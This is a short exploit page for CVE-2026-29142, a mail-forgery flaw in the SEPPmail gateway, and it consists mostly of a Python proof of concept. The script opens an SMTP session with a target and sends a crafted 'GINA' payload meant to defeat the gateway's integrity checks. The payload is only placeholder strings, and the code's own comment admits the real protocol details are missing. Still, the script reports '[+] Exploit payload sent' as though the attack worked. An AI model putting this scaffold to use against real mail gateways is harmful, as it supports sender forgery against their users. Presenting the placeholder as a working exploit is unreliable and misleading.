CVE-2026-29142 SEPPmail网关加密邮件伪造漏洞

import socket def send_forged_gina_mail(target_ip, target_port, sender, recipient): """ Conceptual PoC for CVE-2026-29142. Demonstrates sending a crafted payload to trigger the forgery vulnerability. """ # Simulated GINA payload structure that bypasses checks in < 15.0.3 # Actual protocol details would be required for a real exploit. payload = b"GINA_ENC_HEADER\n" + b"FORGED_INTEGRITY_CHECK\n" + b"Malicious Content" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Basic SMTP Interaction s.recv(1024) s.send(b"EHLO poc.attacker\r\n") s.recv(1024) s.send(b"MAIL FROM:<" + sender.encode() + b">\r\n") s.recv(1024) s.send(b"RCPT TO:<" + recipient.encode() + b">\r\n") s.recv(1024) s.send(b"DATA\r\n") s.recv(1024) # Send the payload s.send(payload + b"\r\n.\r\n") resp = s.recv(1024) print(f"Response: {resp.decode()}") s.close() print("[+] Exploit payload sent.") except Exception as e: print(f"[-] Error: {e}") # send_forged_gina_mail("127.0.0.1", 25, "attacker@local", "victim@local")